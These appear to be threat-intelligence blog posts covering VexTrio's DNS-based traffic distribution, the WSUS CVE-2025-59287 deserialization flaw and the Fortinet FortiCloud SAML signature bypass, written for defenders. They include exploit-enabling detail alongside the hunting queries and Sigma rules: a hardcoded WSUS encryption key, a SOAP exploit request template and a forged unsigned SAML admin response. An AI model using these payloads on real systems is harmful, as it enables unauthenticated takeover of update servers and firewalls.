
Botnet Enrollment: Systems get enrolled in botnets for DDoS attacks, cryptocurrency mining, or spam distribution.

Corporate Espionage: Advanced persistent access for long-term intelligence gathering and network mapping.

The DNS TXT Record Innovation

One of VexTrio’s most clever technical innovations is using DNS TXT records as a covert command and control channel. This technique emerged in late 2023 and represents a significant evolution in TDS methodology.

Traditional HTTP-based TDS requires the victim’s browser to make web requests to TDS servers. Those requests can be blocked by web proxies, logged by security tools, and analyzed by researchers. DNS-based TDS bypasses all of that.

Here’s how it works:

Step 1: Compromised WordPress site injects JavaScript that gathers victim fingerprinting data

Step 2: Instead of making an HTTP request, the script encodes the data in a DNS subdomain query:

<site-id>.<victim-ip>.<random-value>.nd.tracker-cloud[.]com

Step 3: The DNS query passes through the victim’s configured DNS resolver (often Google’s 8.8.8.8 or Cloudflare’s 1.1.1.1)

Step 4: The query reaches VexTrio’s authoritative DNS servers (PowerDNS infrastructure)

Step 5: VexTrio’s DNS server generates a TXT record response containing base64-encoded redirect instructions

Step 6: The JavaScript receives the TXT record, decodes it, and redirects the victim accordingly

From a network security perspective, this looks like a normal DNS query. Most organizations don’t block DNS queries to public resolvers because it would break legitimate services. The malicious traffic is hidden inside DNS infrastructure that barely gets monitored.

The encoding in subdomains is clever too. The site identifier tells VexTrio which compromised site the traffic came from. The victim IP helps with geolocation and duplicate filtering. The random value prevents caching. Device codes (nd for desktop, ni for iPhone, nm for mobile) inform routing decisions.

Infoblox researchers developed signatures to detect this based on subdomain structure, TXT record patterns, and domain characteristics. But detection requires DNS visibility and pattern recognition that most organizations lack.

In April 2024, VexTrio shifted some operations to server-side DNS queries, making detection even harder. Instead of the victim’s browser making the DNS query, the compromised WordPress server does it. Unless you’re monitoring egress DNS from your DMZ web servers (and most people aren’t), you’ll never see it.

The Business Model: Follow the Money

VexTrio operates as a traffic broker. Affiliates pay for victim redirects. VexTrio delivers those redirects by coordinating the massive network of compromised sites, CDN infrastructure, and DNS-based routing.

Pricing varies by campaign and victim quality. Higher quality victims (corporate networks, specific geographic regions, specific browser/OS combinations) command premium prices. Bulk purchases get discounts.

Los Pollos advertised paying publishing affiliates (the people who compromise websites and inject redirect scripts) based on traffic quality and volume. The better your traffic converts, the more you get paid. This creates a competitive market where affiliates constantly optimize their compromise techniques and targeting to maximize revenue.

On the other end, advertising affiliates (the malware operators, scammers, and fraud schemes) pay VexTrio for victim delivery. The pricing needs to be high enough to cover infrastructure costs and affiliate payouts while still being low enough that affiliates make profit on their campaigns.

The margins are evidently substantial. VexTrio has been operating continuously since 2017 with minimal disruption. They’ve survived multiple exposures by security researchers, law enforcement attention, and platform takedowns. The revenue flowing through this ecosystem is sufficient to sustain nearly 100 companies employing hundreds of people globally.

Why It Works: The Legitimacy Shield

The brilliance of VexTrio’s model is hiding criminal infrastructure inside apparently legitimate businesses. Los Pollos, TacoLoco, and Adtrafico all present as normal affiliate marketing companies. They have corporate websites. They attend industry conferences. They have LinkedIn profiles and customer support channels.

Their CDN domains rank in the top 10,000 globally for web traffic. They’ve been active for over five years. VirusTotal shows minimal detection flags. Many VexTrio domains ended up on security vendor allowlists precisely because they look too popular and established to be suspicious.

When GoDaddy or Infoblox researchers publish IOCs, defenders block the domains. VexTrio spins up new ones. The Dictionary Domain Generation Algorithm creates thousands of plausible-looking domains daily. megastok[.]top, tomorrows[.]top, bestoffer[.]live. They look legitimate enough to pass casual inspection.

The corporate structure provides similar protection. Los Pollos is registered in Switzerland. AdsPro Group operates from Prague. Payment processing happens through other entities. Law enforcement would need to coordinate across multiple jurisdictions with different legal standards and languages just to begin investigation.

Meanwhile, VexTrio employs hundreds of people. Many probably don’t know they’re working for a criminal enterprise. The job postings look normal. “Affiliate Manager needed for growing adtech company.” “DevOps engineer for cloud infrastructure.” “Customer success specialist.” These could be legitimate positions at legitimate companies.

The full scope of the operation wasn’t even understood until 2024 when Qurium and GoDaddy independently connected Los Pollos to VexTrio operations. For seven years, VexTrio operated in plain sight, processing billions of transactions, while the security community thought they were just tracking another TDS threat actor.

Current Status and Future Trajectory

VexTrio’s operations took a hit in November 2024 when their Los Pollos connection was publicly exposed. Los Pollos ceased push monetization services shortly after. Multiple affiliates that relied heavily on Los Pollos infrastructure migrated to alternative TDS services like Help TDS and Disposable TDS.

But VexTrio hasn’t disappeared. They’ve adapted. Domains rotated. New infrastructure came online. Affiliate relationships continued through other networks. The fundamental business model remains viable.

Research from early 2025 shows VexTrio affiliates are still actively compromising WordPress sites. The DNS TXT record campaigns continue. Server-side redirect techniques are expanding. Mobile malware distribution through fake VPN applications and system optimizers represents a growing revenue stream.

The ecosystem is too profitable and too well-established to collapse from a single exposure. VexTrio has weathered multiple security researcher publications, countless IOC releases, and increasing law enforcement scrutiny. The vertical integration of their criminal enterprise provides redundancy and resilience that most cybercrime operations lack.

What This Means for Defenders

If you’re responsible for defending an organization’s network, VexTrio should terrify you. Not because of any particular sophistication in their malware (though some affiliates are quite advanced), but because of the sheer scale and efficiency of their distribution infrastructure.

Traditional security controls struggle with VexTrio:

Signature-based detection fails because domains rotate constantly
IP blocking fails because they use legitimate CDNs
URL filtering fails because most traffic goes through HTTPS
User training fails because victims are visiting legitimately compromised websites they have reason to trust

The DNS-based TDS variant is particularly challenging. It bypasses web proxies entirely. Unless you have comprehensive DNS visibility and the ability to recognize subdomain encoding patterns, you won’t detect it.

Server-side redirects are even worse. The victim’s browser never communicates with VexTrio infrastructure directly. The WordPress site just redirects them. Without visibility into server-side DNS queries from your DMZ web servers, you’ll miss the TDS coordination completely.

Next Steps

Part 2 of this series will dive deep into the infrastructure VexTrio commonly abuses, the forensic evidence you can actually collect when investigating VexTrio-related incidents, and the detection strategies that have proven effective against this threat actor. Because understanding how they operate is only useful if you can do something about it.

References

CVE-2025-59287 and the WSUS Deserialization Nightmare

Wed, 07 Jan 2026 00:00:00 +0000

You know that feeling when you realize the system designed to keep your infrastructure secure just became the biggest threat vector in your environment? That’s CVE-2025-59287 in a nutshell. Microsoft’s Windows Server Update Services (WSUS), the very infrastructure meant to deliver security patches to your fleet, became exploitable within hours of public disclosure. And the forensic reality? It’s messier than most people want to admit.

The Vulnerability

CVE-2025-59287 is a critical remote code execution vulnerability affecting Microsoft Windows Server Update Services (WSUS). With a CVSS score of 9.8, this is about as bad as it gets: unauthenticated, network accessible, and trivially exploitable once you understand the mechanics.

The vulnerability exists in WSUS’s reporting web services and stems from a classic .NET deserialization issue. Specifically, the flaw involves the unsafe deserialization of AuthorizationCookie objects sent to the GetCookie() endpoint. The encrypted cookie data is decrypted using AES-128-CBC and then passed directly to BinaryFormatter.Deserialize() without proper type validation. If you’ve been in the trenches long enough, you already know where this is going.

WSUS runs with SYSTEM privileges. Exploitation means immediate, complete compromise of the WSUS server. And because WSUS servers typically have broad network access and trusted relationships across the environment, this is your beachhead for lateral movement.

Timeline: How Fast Things Went Sideways

October 14, 2025: Microsoft disclosed CVE-2025-59287 as part of their October Patch Tuesday. At this point, no active exploitation had been observed, but Microsoft assessed exploitation as “More Likely.” The initial patch was incomplete and didn’t fully address the vulnerability.
October 17, 2025: Security researcher HawkTrace published a detailed proof-of-concept exploit, including working code that demonstrated arbitrary code execution via crafted deserialization payloads. The PoC used ysoserial.net gadget chains to pop calc.exe, showing the path from concept to weaponization.
October 20-21, 2025: Additional PoC code surfaced from multiple sources. The exploit methodology was now public knowledge, complete with encryption routines and SOAP request templates.
October 23, 2025: Microsoft released emergency out-of-band patches for all affected Windows Server versions to fully address the vulnerability. This superseded the incomplete October 14th patch. Within hours of the OOB patch release, active exploitation began. The Dutch National Cyber Security Centre confirmed exploitation activity. Threat actors wasted no time.
October 24, 2025: CISA added CVE-2025-59287 to the Known Exploited Vulnerabilities (KEV) catalog, giving federal agencies until November 14th to patch. Multiple security vendors (Eye Security, Huntress, Unit 42, Darktrace) confirmed in-the-wild exploitation with reconnaissance and hands-on-keyboard activity observed.

From disclosure to weaponization to active campaigns: ten days. From emergency patch to exploitation: hours. This is the new normal.

Affected Versions and Patch Status

The vulnerability affects Windows Server systems where the WSUS Server Role is enabled. Critically, this role is not enabled by default, which limited the attack surface but also meant many organizations didn’t know they were running WSUS servers exposed to the internet.

Affected Systems:

Windows Server 2012 and 2012 R2
Windows Server 2016
Windows Server 2019
Windows Server 2022 (including 23H2 Edition)
Windows Server 2025

Patch Status:

Microsoft released out-of-band updates on October 23, 2025:

Windows Server 2025: KB5070881
Windows Server 2022 23H2: KB5070879
Windows Server 2022: KB5070884
Windows Server 2019: KB5070883
Windows Server 2016: KB5070882
Windows Server 2012 R2: KB5070886
Windows Server 2012: KB5070887

Important: The October 14th patches were incomplete. Only the October 23rd out-of-band updates fully mitigate the vulnerability. If you patched on Patch Tuesday and stopped, you’re still vulnerable.

A functional side effect of the patch: WSUS synchronization error details are no longer displayed after installation. Microsoft deliberately removed this functionality to address the vulnerability, which means you’ll need to adjust your monitoring and troubleshooting procedures.

Proof of Concept Details

The HawkTrace PoC demonstrates the exploitation chain with surgical precision. Here’s how it works:

Gadget Chain Generation: The exploit leverages ysoserial.net to create a malicious .NET deserialization gadget chain. The default PoC spawns calc.exe, but this is trivially modified to execute arbitrary commands.
Serialization: The gadget chain is serialized using BinaryFormatter.
Encryption: The serialized payload is encrypted using AES-128-CBC with a hardcoded key (877C14E433638145AD21BD0C17393071) and a null initialization vector. The encryption uses 16-byte salt prepended to the encrypted data.
Delivery: The encrypted payload is base64-encoded and embedded in a SOAP request sent to the WSUS ClientWebService endpoint at /ClientWebService/Client.asmx.

The SOAP request structure looks like this:

POST /ClientWebService/Client.asmx HTTP/1.1
Host: TARGET:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
      <authCookies>
        <AuthorizationCookie>
          <PlugInId>SimpleTargeting</PlugInId>
          <CookieData>[BASE64_ENCRYPTED_PAYLOAD]</CookieData>
        </AuthorizationCookie>
      </authCookies>
      <oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
      <protocolVersion>1.20</protocolVersion>
    </GetCookie>
  </soap:Body>
</soap:Envelope>

The exploit requires network access to WSUS on its default ports: TCP 8530 (HTTP) or TCP 8531 (HTTPS). Some configurations use TCP 80 or 443 instead.

Technical Deep Dive: The Exploitation Chain

Let’s walk through exactly what happens when an attacker exploits CVE-2025-59287. This is where things get technical.

The Entry Point: GetCookie()

The vulnerability begins in the GetCookie() method of the WSUS Client web service. When a client sends an authorization cookie, it’s processed through several layers:

Client.GetCookie() 
  → ClientImplementation.GetCookie()
    → AuthorizationManager.GetCookie()
      → AuthorizationManager.CrackAuthorizationCookies()
        → GenericAuthorizationPlugIn.CrackAuthorizationCookie()
          → EncryptionHelper.DecryptData()

The Vulnerable Code: DecryptData()

The EncryptionHelper.DecryptData() method is where exploitation occurs. Here’s the decompiled logic:

internal object DecryptData(byte[] cookieData)
{
    if (cookieData == null)
        throw new LoggedArgumentNullException("cookieData");
    ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor();
    byte[] array;
    try
    {
        // Validate block size
        if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || 
            cookieData.Length <= cryptoTransform.InputBlockSize)
        {
            throw new LoggedArgumentException("Can't decrypt bogus cookieData...");
        }
        // Decrypt the data
        array = new byte[cookieData.Length - cryptoTransform.InputBlockSize];
        cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, 
                                        EncryptionHelper.scratchBuffer, 0);
        cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, 
                                        cookieData.Length - cryptoTransform.InputBlockSize, 
                                        array, 0);
    }
    finally
    {
        cryptoTransform.Dispose();
    }
    object obj = null;
    // Type check
    if (this.classType == typeof(UnencryptedCookieData))
    {
        UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData();
        try
        {
            unencryptedCookieData.Deserialize(array);
        }
        catch (Exception ex)
        {
            if (ex is OutOfMemoryException) throw;
            throw new LoggedArgumentException(ex.ToString(), "cookieData");
        }
        obj = unencryptedCookieData;
    }
    else
    {
        // THE VULNERABLE PATH
        BinaryFormatter binaryFormatter = new BinaryFormatter();
        MemoryStream memoryStream = new MemoryStream(array);
        try
        {
            obj = binaryFormatter.Deserialize(memoryStream);
        }
        catch (Exception ex2)
        {
            if (ex2 is OutOfMemoryException) throw;
            throw new LoggedArgumentException(ex2.ToString(), "cookieData");
        }
        // Type validation AFTER deserialization
        if (obj.GetType() != this.classType)
        {
            throw new LoggedArgumentException("Decrypted cookie has the wrong data type...");
        }
    }
    return obj;
}

The critical flaw is obvious: BinaryFormatter.Deserialize() is called on attacker-controlled data before any type validation occurs. The type check happens after deserialization, which is too late. By the time the code realizes the object type is wrong, the gadget chain has already executed.

The Gadget Chain

The PoC uses standard ysoserial.net gadget chains, typically leveraging:

System.Collections.Generic.SortedSet<T> with a malicious comparer
System.Delegate and System.Reflection types to chain method invocations
Eventually calling System.Diagnostics.Process.Start() to execute commands

The serialized payload contains carefully crafted object graphs that abuse .NET’s type system to achieve code execution during deserialization. When BinaryFormatter reconstructs these objects, it invokes constructors and property setters that trigger the payload.

Process Execution Chain

Successful exploitation manifests in one of two process chains, depending on which WSUS component handles the request:

Via IIS Worker Process:

w3wp.exe → cmd.exe → cmd.exe → powershell.exe

Via WSUS Service:

wsusservice.exe → cmd.exe → cmd.exe → powershell.exe

The double cmd.exe invocation is characteristic of the gadget chain execution. Commands are typically base64-encoded PowerShell for obfuscation and payload flexibility.

Alternative Attack Paths

Researchers identified a second exploitation path through the ReportingWebService using SoapFormatter instead of BinaryFormatter. Both formatters suffer from the same fundamental flaw: they deserialize untrusted data without validation. The ReportingWebService path targets event subscription mechanisms and triggers deserialization through the SubscriptionEvent and PopulateSubscriptionEventProperties methods.

Forensic Considerations and Limitations

Now we get to the part that matters for incident response: what forensic artifacts are left behind, and more importantly, what isn’t.

What You’ll Find

IIS Logs (C:\inetpub\logs\LogFiles\W3SVC*\*.log): Large POST requests to /ClientWebService/Client.asmx or /ReportWebService/ReportWebService.asmx. Look for requests with significantly larger than normal Content-Length headers. The encrypted payloads are typically several kilobytes.

WSUS Application Logs (C:\Program Files\Update Services\LogFiles\SoftwareDistribution.log): Deserialization errors and exceptions are logged here during exploitation attempts. Specifically, look for stack traces containing:

System.InvalidCastException
System.Windows.Data.ObjectDataProvider
References to BinaryFormatter.Deserialize
ThreadAbortException entries correlated with exploitation timing

Example from a real exploitation attempt observed by Eye Security:

2025-10-24 06:09:25.952 UTC Warning w3wp.142 SoapUtilities.CreateException 
ThrowException: actor = https://host:8531/ClientWebService/client.asmx

The log also contains fragments of base64-encoded serialized payloads starting with the pattern AAEAAAD/////AQAAAAAAAAAEAQAAAH9.

Windows Event Logs:

Event ID 4688 (Process Creation) in the Security log will show the suspicious process chain: w3wp.exe or wsusservice.exe spawning cmd.exe spawning powershell.exe
Event ID 7053 in the Application log from the “Windows Server Update Services” provider indicates deserialization errors

Network Traffic: Connections to external infrastructure for command and control or data exfiltration. Observed in the wild:

Outbound connections to webhook.site for reconnaissance data exfiltration
Connections to workers.dev subdomains for C2 (e.g., royal-boat-bf05.qgtxtebl.workers.dev)
HTTP POST requests with PowerShell or cURL user agents

What You Won’t Find (The Forensic Gaps)

Here’s where it gets uncomfortable. CVE-2025-59287 exploitation has several characteristics that make forensic analysis challenging:

Memory-Only Execution: Many exploitation attempts execute entirely in memory. The initial payload delivered via deserialization spawns PowerShell with base64-encoded commands. If the attacker doesn’t drop files to disk, you’re left with volatile memory artifacts that disappear on reboot. Without process memory dumps captured during active exploitation, you might miss critical payload details.

Limited Prefetch Evidence: Because the exploit chain uses native Windows binaries (cmd.exe, powershell.exe) that are already present in prefetch, the artifacts don’t stand out. You’ll see prefetch entries, but they won’t be anomalous by themselves. You need timeline correlation with other indicators.

Minimal File System Footprint: The exploitation itself doesn’t require writing files. The encrypted payload is delivered over HTTP, decrypted in memory, deserialized, and executed. The only disk artifacts are whatever the post-exploitation payload does. If attackers limit themselves to reconnaissance (as observed in early wild exploitation), you might find nothing on disk at all.

Log Rotation and Overwriting: IIS logs rotate based on size and time. If exploitation occurred days or weeks ago and the logs have rotated, you’ve lost your best forensic evidence. WSUS SoftwareDistribution.log has similar rotation behavior.

Encrypted Network Traffic: If WSUS was configured for HTTPS (port 8531), the encrypted payload and exploitation traffic are within an encrypted channel. Without SSL/TLS interception or endpoint visibility, the network evidence is opaque.

What We’ve Seen In The Wild

Based on public reporting from multiple security vendors, real-world exploitation has followed predictable patterns:

Initial Access (October 23-24, 2025): Attackers scanned the internet for exposed WSUS instances on ports 8530 and 8531. Thousands of WSUS servers were internet-facing due to misconfiguration, despite WSUS being designed for internal use.

Reconnaissance Phase: Post-exploitation PowerShell commands enumerated:

Domain information (Get-ADDomain, whoami /all)
Local users and administrators
Network configuration (ipconfig /all, Get-NetAdapter)
Running processes and services
Installed software

This information was exfiltrated to attacker-controlled webhooks using Invoke-WebRequest or cURL.

Persistence and Lateral Movement: In some cases, attackers established persistent C2 using Cloudflare Workers infrastructure. Bitdefender observed secondary-stage payloads being downloaded and executed, indicating this was initial access for larger campaigns (pre-ransomware activity).

Hands-On-Keyboard Activity: Multiple vendors reported interactive operator activity following automated exploitation, suggesting human attackers taking manual control after bots established access.

Detection and Hunting

If you’re reading this section first because you need to hunt for compromise right now, I get it. Here’s what you need to know.

High-Confidence Indicators

Process Creation Monitoring (Windows Event ID 4688 or EDR telemetry):

Look for suspicious child processes of w3wp.exe or wsusservice.exe:

cmd.exe
powershell.exe (especially with -EncodedCommand)
rundll32.exe
regsvr32.exe
certutil.exe
Any unsigned binaries

The double-hop pattern (wsusservice.exe → cmd.exe → cmd.exe → powershell.exe) is highly suspicious.

Base64-Encoded PowerShell:

PowerShell invocations with -EncodedCommand or -enc flags launched from WSUS-related parent processes.

Example hunt query (PowerShell):

Get-WinEvent -LogName Security | Where-Object {
    $_.Id -eq 4688 -and 
    ($_.Properties[5].Value -like "*w3wp.exe*" -or 
     $_.Properties[5].Value -like "*wsusservice.exe*") -and
    $_.Properties[8].Value -match "(cmd\.exe|powershell\.exe)"
}

WSUS Application Log Errors:

Query for Event ID 7053 with deserialization-related strings:

Get-WinEvent -FilterHashtable @{
    LogName='Application'
    ProviderName='Windows Server Update Services'
    ID=7053
} | Where-Object {
    $_.Message -match "InvalidCastException" -or
    $_.Message -match "ObjectDataProvider" -or
    $_.Message -match "BinaryFormatter"
}

IIS Log Analysis:

Search for large POST requests to WSUS endpoints:

# Linux/grep approach
grep "POST /ClientWebService/Client.asmx" /path/to/iis/logs/*.log | \
  awk '$10 > 5000 {print $0}'

# PowerShell approach
Select-String -Path "C:\inetpub\logs\LogFiles\W3SVC*\*.log" -Pattern "POST.*Client.asmx" | 
  Where-Object { 
    ($_ -split '\s+')[9] -as [int] -gt 5000 
  }

Look for the pattern “AuthorizationCookie” in IIS logs:

Network Connections:

Monitor outbound connections from WSUS servers, especially to unexpected destinations:

Webhook services (webhook.site, pipedream.net)
Cloudflare Workers domains (*.workers.dev)
Newly registered domains (registered within last 30 days)

Sigma Rules

The SigmaHQ repository includes two rules specifically for CVE-2025-59287:

WSUS Deserialization Detection:

title: Exploitation Activity of CVE-2025-59287 - WSUS Deserialization
id: e5f66e87-7d6b-404f-92fe-7aa67814b5cd
status: experimental
description: Detects cast exceptions in WSUS application logs indicating CVE-2025-59287 exploitation attempts
references:
  - https://unit42.paloaltonetworks.com/cve-2025-59287/
  - https://hawktrace.com/blog/CVE-2025-59287-UNAUTH
logsource:
  product: windows
  service: application
detection:
  selection:
    Provider_Name: 'Windows Server Update Services'
    EventID: 7053
    Data|contains|all:
      - 'System.InvalidCastException'
      - 'System.Windows.Data.ObjectDataProvider'
      - 'Unable to cast object of type'
  condition: selection
falsepositives:
  - Unlikely
level: high
tags:
  - attack.execution
  - attack.initial-access
  - attack.t1190
  - attack.t1203
  - cve.2025-59287
  - detection.emerging-threats

WSUS Suspicious Child Process:

title: Exploitation Activity of CVE-2025-59287 - WSUS Suspicious Child Process
id: a8d4c3f1-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects suspicious child processes spawned by WSUS-related parent processes
references:
  - https://unit42.paloaltonetworks.com/cve-2025-59287/
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith:
      - '\w3wp.exe'
      - '\wsusservice.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\rundll32.exe'
      - '\regsvr32.exe'
      - '\certutil.exe'
  condition: selection
falsepositives:
  - Legitimate administrative activity (low likelihood)
level: high
tags:
  - attack.execution
  - attack.t1059.001
  - attack.t1059.003
  - cve.2025-59287

Network-Based Detection

Snort/Suricata Rules:

Snort 2 and Snort 3 both include GID 1, SID 65422 for detecting CVE-2025-59287 exploitation attempts. These signatures identify the specific SOAP request patterns used in exploitation.

If you’re writing custom rules, look for:

Large POST requests to /ClientWebService/Client.asmx or /ReportWebService/ReportWebService.asmx
SOAP envelopes containing <GetCookie> elements with unusually large <CookieData> sections
Base64 data patterns in HTTP POST bodies to WSUS endpoints

Forensic Artifact Collection:
- Memory dump of WSUS server (if still running)
- IIS logs (preserve before rotation)
- Windows Event Logs (Security, System, Application)
- Network flow data
- EDR/XDR telemetry

Long-Term Security Posture

Architecture Review:

WSUS servers should never be internet-facing. Period. The widespread exploitation of CVE-2025-59287 was possible because thousands of WSUS instances were exposed to the public internet due to misconfigurations.

Best practices:

WSUS servers should be accessible only from internal management networks
Require VPN or jump host access for administrative access
Implement network segmentation with WSUS in a dedicated management VLAN
Use firewall rules to explicitly allow only necessary traffic

Closing Assessment

CVE-2025-59287 is a case study in how quickly things can go wrong. The vulnerability itself is straightforward: unsafe deserialization with .NET’s BinaryFormatter, a well-known dangerous pattern. The impact is severe: unauthenticated remote code execution as SYSTEM on a critical infrastructure component.

But what makes this particularly painful is the timeline. Microsoft’s initial patch was incomplete. Exploitation began within hours of the corrective OOB patch being released, not because the patch was reverse-engineered, but because the PoC code was already public. By the time most organizations started their patch cycles, attackers had already begun reconnaissance on compromised systems.

From a forensic perspective, this is one of those vulnerabilities where if you’re looking for evidence weeks later, you might find nothing. Memory-only execution, native binary abuse, and log rotation conspire to erase the evidence. The window for detection is narrow.

The broader lesson? Infrastructure services designed for internal use must never be exposed to the internet. Configuration mistakes turn localized vulnerabilities into enterprise-wide disasters. WSUS, SCCM, VMware management interfaces, and similar systems are trusted implicitly by your environment. When they’re compromised, the blast radius is your entire infrastructure.

If you run WSUS, patch now if you haven’t already. Hunt for compromise even if you think you patched in time. The attackers moved fast on this one.

And maybe, just maybe, double-check what else you’ve got listening on 0.0.0.0.

References

Microsoft Security Response Center (MSRC), “CVE-2025-59287 - Windows Server Update Service (WSUS) Remote Code Execution Vulnerability,” https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287
HawkTrace Security, “CVE-2025-59287 WSUS Remote Code Execution,” October 18, 2025, https://hawktrace.com/blog/CVE-2025-59287
Palo Alto Networks Unit 42, “CVE-2025-59287 Exploitation Detected: Vulnerability in Windows Server Update Services Exploited in the Wild,” October 24, 2025, https://unit42.paloaltonetworks.com/cve-2025-59287/
Huntress, “CISA Warns of Actively Exploited Windows WSUS Vulnerability (CVE-2025-59287),” October 24, 2025, https://www.huntress.com/blog/cisa-warns-of-actively-exploited-windows-wsus-vulnerability-cve-2025-59287
Eye Security, “WSUS Vulnerability - CVE-2025-59287 - Technical Analysis & Detection,” October 24, 2025, https://eye.security/resources/wsus-cve-2025-59287
Bitdefender, “CVE-2025-59287: Actively Exploited Windows Server Update Services Vulnerability,” October 25, 2025, https://www.bitdefender.com/blog/hotforsecurity/cve-2025-59287-actively-exploited-windows-server-update-services-vulnerability/
Dutch National Cyber Security Centre (NCSC), “Kwetsbaarheden verholpen in Microsoft producten - oktober 2025,” October 23, 2025, https://www.ncsc.nl/actueel/advisory?id=NCSC-2025-0430

Trust But Don't Verify (Forti CVE-2025-59718)

Tue, 06 Jan 2026 00:00:00 +0000

You know that feeling when you find out a critical enterprise security appliance will just accept any SAML response you throw at it, signature or not? Yeah, that’s where we are with CVE-2025-59718 and CVE-2025-59719. Fortinet dropped these two gems in December 2025, and within three days of disclosure, threat actors were already in production environments downloading config files like it was Black Friday.

Let’s talk about what happens when you forget that cryptographic signatures exist for a reason.

The Vulnerability(s)

CVE-2025-59718 and CVE-2025-59719 are essentially the same vulnerability affecting different Fortinet product lines. Both stem from improper verification of cryptographic signatures in SAML response messages used by FortiCloud Single Sign-On. In practical terms, these devices were accepting unsigned or improperly signed SAML assertions and handing out admin sessions like candy.

The vulnerability is classified as CWE-347 (Improper Verification of Cryptographic Signature), and it’s about as straightforward as authentication bypasses get. If FortiCloud SSO is enabled, an attacker can craft a SAML response with whatever identity they want, send it to the device, and the device just says “yeah sure, you’re the admin now.”

Both vulnerabilities carry a CVSS v3.1 score of 9.8, which tracks. Unauthenticated remote code execution to admin? That’s a critical any day of the week.

CVE-2025-59718 affects:

FortiOS
FortiProxy
FortiSwitchManager

CVE-2025-59719 affects:

FortiWeb

The root cause is identical - both involve the same signature verification failure in the SAML authentication flow, just implemented across different product codebases.

Timeline: The Speed Run

December 9, 2025: Fortinet publishes advisory FG-IR-25-647 and releases patches. Credit goes to Fortinet’s internal team members Yonghui Han and Theo Leleu for the discovery.
December 12, 2025: Arctic Wolf starts observing active exploitation in the wild. Threat actors are already authenticating as admin via SSO and downloading system configuration files from compromised FortiGate appliances. That’s 72 hours from disclosure to widespread exploitation.
December 16, 2025: CISA adds CVE-2025-59718 to the Known Exploited Vulnerabilities catalog with a remediation deadline of December 23, 2025 - just seven days.
December 17, 2025: Rapid7 observes exploitation attempts against their honeypots. Public PoC code starts appearing on GitHub.

The weaponization window on this one was basically nonexistent. By the time most organizations even read the advisory, attackers were already in.

Affected Versions and Patch Status

Here’s the damage report:

FortiOS:

Vulnerable: 7.0.0 through 7.0.17, 7.2.0 through 7.2.11, 7.4.0 through 7.4.8, 7.6.0 through 7.6.3
Fixed: Upgrade to 7.0.18, 7.2.12, 7.4.9, or 7.6.4 or later
Not affected: 6.4 branch

FortiProxy:

Vulnerable: 7.0.0 through 7.0.21, 7.2.0 through 7.2.14, 7.4.0 through 7.4.10, 7.6.0 through 7.6.3
Fixed: Upgrade to 7.0.22, 7.2.15, 7.4.11, or 7.6.4 or later

FortiSwitchManager:

Vulnerable: 7.0.0 through 7.0.5, 7.2.0 through 7.2.6
Fixed: Upgrade to 7.0.6, 7.2.7, or later

FortiWeb:

Vulnerable: 7.4.0 through 7.4.9, 7.6.0 through 7.6.4, 8.0.0
Fixed: Upgrade to 7.4.10, 7.6.5, 8.0.1, or later
Not affected: 7.0 and 7.2 branches

Proof of Concept Details

The public PoC that surfaced on GitHub demonstrates exactly how trivial this exploitation is. The attack flow is dead simple:

Craft a SAML response with your chosen username (typically “admin”)
Include proper XML structure but skip the signature or include an invalid one
POST it to /remote/saml/login on the target device
Device accepts it without proper signature verification
You’re now authenticated as that user with full privileges

The PoC includes functionality for:

Single target or bulk scanning
SAML token replay simulation
Automatic configuration file download via /api/v2/monitor/system/config/backup
Multi-threaded operation for mass exploitation

What makes this particularly nasty is that FortiCloud SSO is automatically enabled when administrators register devices to FortiCare via the GUI unless they explicitly disable it. Most admins never realized they were exposing this attack surface.

The default factory setting has FortiCloud SSO disabled, but the moment you go through the registration workflow without unchecking that box, you’re vulnerable. This created a massive exposure across enterprise Fortinet deployments.

Technical Deep Dive: The Exploitation Mechanics

Let’s get into the weeds of how this actually works.

SAML (Security Assertion Markup Language) is an XML-based protocol for exchanging authentication and authorization data between an identity provider and a service provider. The entire security model depends on cryptographic signatures to ensure assertions haven’t been tampered with.

In a proper SAML flow:

User initiates authentication
Identity Provider (IdP) generates a SAML assertion
IdP signs the SAML response and/or assertion with its private key
Service Provider (SP) receives the SAML response
SP verifies the signature using IdP’s public certificate
If signature is valid, SP trusts the assertion and creates a session

The vulnerability exists in step 5 - the signature verification. Fortinet’s FortiCloud SSO implementation was failing to properly validate that:

A signature was present
The signature was cryptographically valid
The signature matched the expected IdP certificate

This means an attacker could send a completely unsigned SAML response, or one signed with a bogus key, and the device would process it as legitimate.

The SAML response structure attackers are exploiting looks something like this:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
    <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml:Subject>
            <saml:NameID>admin</saml:NameID>
        </saml:Subject>
        <saml:AttributeStatement>
            <saml:Attribute Name="username">
                <saml:AttributeValue>admin</saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>
    </saml:Assertion>
</samlp:Response>

The attacker controls the NameID and username fields. With no signature verification enforcing that these came from a legitimate IdP, you can just claim to be whoever you want.

What’s particularly interesting is the fix. In FortiOS 7.2.12, 7.4.9, and 7.6.4, Fortinet added enforcement that SAML response messages must have valid signatures. They also added a configuration option in 7.6.5 to control whether both the response and assertion must be signed:

config user saml
    edit <n>
        set require-signed-resp-and-asrt <enable | disable>
    next
end

The default is enable, meaning both must be signed. This is the correct behavior that should have existed from day one.

The patch essentially added the signature verification logic that was completely missing or broken. It now:

Checks that a signature element exists
Validates the signature cryptographically
Verifies it matches the configured IdP certificate
Rejects the SAML response if any check fails

Forensic Data Collection

If virtual Forti –> Export the VMDK
If baremetal –> Contact FortiSupport and request assistance. Will likely need to ship the device back to Forti for the image (We’ve seen success doing this)
